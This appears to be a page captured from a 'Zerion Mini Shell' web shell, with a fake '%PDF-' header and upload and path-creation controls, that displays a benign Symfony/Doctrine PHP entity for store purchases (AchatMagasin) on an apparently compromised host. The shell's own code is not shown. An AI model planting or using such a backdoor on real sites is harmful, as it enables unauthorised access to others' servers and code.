%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emtnaeewxm/www/src/EEM/MagasinBundle/Entity/
Upload File :
Create Path :
Current File : /home/emtnaeewxm/www/src/EEM/MagasinBundle/Entity/AchatMagasin.php

<?php

namespace EEM\MagasinBundle\Entity;

use Doctrine\ORM\Mapping as ORM;

/**
 * AchatMagasin
 *
 * @ORM\Table(name="achat_magasin")
 * @ORM\Entity(repositoryClass="EEM\MagasinBundle\Repository\AchatMagasinRepository")
 */
class AchatMagasin
{
    /**
     * @var int
     *
     * @ORM\Column(name="id", type="integer")
     * @ORM\Id
     * @ORM\GeneratedValue(strategy="AUTO")
     */
    private $id;

    /**
     * @var \DateTime
     *
     * @ORM\Column(name="date_achat", type="date", nullable=true)
     */
    private $dateAchat;

    /**
     * @var string
     *
     * @ORM\Column(name="type_achat", type="string", length=255, nullable=true)
     */
    private $type;


    /**
     * @ORM\OneToMany(targetEntity="EEM\MagasinBundle\Entity\LigneAchatMagasin", mappedBy="achatMagasin",cascade={"persist", "remove"})
     *
     * @var ArrayCollection
     */
    private $ligneAchatMagasins;

    /**
     * Get id
     *
     * @return int
     */
    public function getId()
    {
        return $this->id;
    }

    /**
     * Set dateAchat
     *
     * @param \DateTime $dateAchat
     *
     * @return AchatMagasin
     */
    public function setDateAchat($dateAchat)
    {
        $this->dateAchat = $dateAchat;

        return $this;
    }

    /**
     * Get dateAchat
     *
     * @return \DateTime
     */
    public function getDateAchat()
    {
        return $this->dateAchat;
    }

    /**
     * Set type
     *
     * @param string $type
     *
     * @return Achat
     */
    public function setType($type)
    {
        $this->type = $type;

        return $this;
    }

    /**
     * Get type
     *
     * @return string
     */
    public function getType()
    {
        return $this->type;
    }
    /**
     * Constructor
     */
    public function __construct()
    {
        $this->ligneAchatMagasins = new \Doctrine\Common\Collections\ArrayCollection();
    }

    /**
     * Add ligneAchatMagasin
     *
     * @param \EEM\MagasinBundle\Entity\LigneAchatMagasin $ligneAchatMagasin
     *
     * @return AchatMagasin
     */
    public function addLigneAchatMagasin(\EEM\MagasinBundle\Entity\LigneAchatMagasin $ligneAchatMagasin)
    {
        $this->ligneAchatMagasins[] = $ligneAchatMagasin;

        return $this;
    }

    /**
     * Remove ligneAchatMagasin
     *
     * @param \EEM\MagasinBundle\Entity\LigneAchatMagasin $ligneAchatMagasin
     */
    public function removeLigneAchatMagasin(\EEM\MagasinBundle\Entity\LigneAchatMagasin $ligneAchatMagasin)
    {
        $this->ligneAchatMagasins->removeElement($ligneAchatMagasin);
    }

    /**
     * Get ligneAchatMagasins
     *
     * @return \Doctrine\Common\Collections\Collection
     */
    public function getLigneAchatMagasins()
    {
        return $this->ligneAchatMagasins;
    }

    public function totalOperation(){
        $total=0;
        foreach($this->getLigneAchatMagasins() as $ligneAchatMagasin){
            $total +=$ligneAchatMagasin->getPrixAchat()*$ligneAchatMagasin->getQte();
        }
        return $total;
    }
}

Zerion Mini Shell 1.0